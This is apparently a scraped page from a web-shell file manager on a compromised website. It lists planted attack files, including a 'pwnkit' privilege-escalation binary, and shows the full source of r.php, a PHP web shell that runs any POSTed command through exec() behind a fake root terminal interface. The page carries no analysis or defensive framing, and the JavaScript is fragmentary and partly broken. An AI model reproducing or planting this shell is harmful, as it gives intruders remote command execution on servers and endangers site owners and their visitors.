Gecko [ jdcpatala.org ]

Name	Size	Permission
adminer.php	465.43 KB	-rw-r--r--
alpha.php	173.83 KB	-rw-r--r--
b1.jpg	1.43 MB	-rw-r--r--
b2.jpg	810.47 KB	-rw-r--r--
b3.jpg	640.29 KB	-rw-r--r--
b4.jpg	1.49 MB	-rw-r--r--
b5.jpg	336.71 KB	-rw-r--r--
bp.php	1.11 KB	-rw-r--r--
conf.php	24.98 KB	-rw-r--r--
detect.php	32.91 KB	-rw-r--r--
kz.phtml	3.65 KB	-rw-r--r--
maimuna.php	14.04 KB	-rw-r--r--
miaw.php	160.56 KB	-r--r--r--
pwnkit	10.99 KB	-rw-r--r--
r.php	12.14 KB	-rw-r--r--
t.php	1.99 MB	-rw-r--r--
w50.php	1.45 KB	-rw-r--r--
we-es-o.php	78.87 KB	-rw-r--r--

Code Editor : r.php

<?php

function featureShell($cmd, $cwd) {
    $stdout = array();

if (preg_match("/^\s*cd\s*$/", $cmd)) {
        // pass
    } elseif (preg_match("/^\s*cd\s+(.+)\s*(2>&1)?$/", $cmd)) {
        chdir($cwd);
        preg_match("/^\s*cd\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
        chdir($match[1]);
    } else {
        chdir($cwd);
        exec($cmd, $stdout);
    }

return array(
        "stdout" => $stdout,
        "cwd" => getcwd()
    );
}

function featurePwd() {
    return array("cwd" => getcwd());
}

if (isset($_GET["feature"])) {

$response = NULL;

switch ($_GET["feature"]) {
        case "shell":
            $cmd = $_POST['cmd'];
            if (!preg_match('/2>/', $cmd)) {
                $cmd .= ' 2>&1';
            }
            $response = featureShell($cmd, $_POST["cwd"]);
            break;
        case "pwd":
            $response = featurePwd();
            break;
        case "hint":
            $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);
    }

header("Content-Type: application/json");
    echo json_encode($response);
    die();
}

?><!DOCTYPE html>

<html>

<head>
        <meta charset="UTF-8" />
        <title>root</title>
        <meta name="viewport" content="width=device-width, initial-scale=1.0" />
        <style>
            html, body {
                margin: 0;
                padding: 0;
                background: #333;
                color: #eee;
                font-family: monospace;
            }

#shell {
                background: #222;
                max-width: 800px;
                margin: 50px auto 0 auto;
                box-shadow: 0 0 5px rgba(0, 0, 0, .3);
                font-size: 10pt;
                display: flex;
                flex-direction: column;
                align-items: stretch;
            }

#shell-content {
                height: 500px;
                overflow: auto;
                padding: 5px;
                white-space: pre-wrap;
                flex-grow: 1;
            }

#shell-logo {
                font-weight: bold;
                color: #FF4180;
                text-align: center;
            }

@media (max-width: 991px) {
                #shell-logo {
                    display: none;
                }

html, body, #shell {
                    height: 100%;
                    width: 100%;
                    max-width: none;
                }

#shell {
                    margin-top: 0;
                }
            }

@media (max-width: 767px) {
                #shell-input {
                    flex-direction: column;
                }
            }

.shell-prompt {
                font-weight: bold;
                color: #75DF0B;
            }

.shell-prompt > span {
                color: #1BC9E7;
            }

#shell-input {
                display: flex;
                box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);
                border-top: rgba(255, 255, 255, .05) solid 1px;
            }

#shell-input > label {
                flex-grow: 0;
                display: block;
                padding: 0 5px;
                height: 30px;
                line-height: 30px;
            }

#shell-input #shell-cmd {
                height: 30px;
                line-height: 30px;
                border: none;
                background: transparent;
                color: #eee;
                font-family: monospace;
                font-size: 10pt;
                width: 100%;
                align-self: center;
            }

#shell-input div {
                flex-grow: 1;
                align-items: stretch;
            }

#shell-input input {
                outline: none;
            }
        </style>

function _insertCommand(command) {
                eShellContent.innerHTML += "\n\n";
                eShellContent.innerHTML += '<span class=\"shell-prompt\">' + genPrompt(CWD) + '</span> ';
                eShellContent.innerHTML += escapeHtml(command);
                eShellContent.innerHTML += "\n";
                eShellContent.scrollTop = eShellContent.scrollHeight;
            }

function _insertStdout(stdout) {
                eShellContent.innerHTML += escapeHtml(stdout);
                eShellContent.scrollTop = eShellContent.scrollHeight;
            }

function featureShell(command) {

_insertCommand(command);
                makeRequest("?feature=shell", {cmd: command, cwd: CWD}, function(response) {
                    _insertStdout(response.stdout.join("\n"));
                    updateCwd(response.cwd);
                });
            }

function featureHint() {
                if (eShellCmdInput.value.trim().length === 0) return;  // field is empty -> nothing to complete

function _requestCallback(data) {
                    if (data.files.length <= 1) return;  // no completion

if (data.files.length === 2) {
                        if (type === 'cmd') {
                            eShellCmdInput.value = data.files[0];
                        } else {
                            var currentValue = eShellCmdInput.value;
                            eShellCmdInput.value = currentValue.replace(/([^\s]*)$/, data.files[0]);
                        }
                    } else {
                        _insertCommand(eShellCmdInput.value);
                        _insertStdout(data.files.join("\n"));
                    }
                }

var currentCmd = eShellCmdInput.value.split(" ");
                var type = (currentCmd.length === 1) ? "cmd" : "file";
                var fileName = (type === "cmd") ? currentCmd[0] : currentCmd[currentCmd.length - 1];

makeRequest(
                    "?feature=hint",
                    {
                        filename: fileName,
                        cwd: CWD,
                        type: type
                    },
                    _requestCallback
                );

}

function genPrompt(cwd) {
                cwd = cwd || "~";
                var shortCwd = cwd;
                if (cwd.split("/").length > 3) {
                    var splittedCwd = cwd.split("/");
                    shortCwd = "…/" + splittedCwd[splittedCwd.length-2] + "/" + splittedCwd[splittedCwd.length-1];
                }
                return "idn1337@root:<span title=\"" + cwd + "\">" + shortCwd + "</span>#";
            }

}

function escapeHtml(string) {
                return string
                    .replace(/&/g, "&amp;")
                    .replace(/</g, "&lt;")
                    .replace(/>/g, "&gt;");
            }

function _updatePrompt() {
                var eShellPrompt = document.getElementById("shell-prompt");
                eShellPrompt.innerHTML = genPrompt(CWD);
            }

function insertToHistory(cmd) {
                commandHistory.push(cmd);
                historyPosition = commandHistory.length;
            }

window.onload = function() {
                eShellCmdInput = document.getElementById("shell-cmd");
                eShellContent = document.getElementById("shell-content");
                updateCwd();
                eShellCmdInput.focus();
            };
        </script>
    </head>

</html>

${this.title}

Code Editor : r.php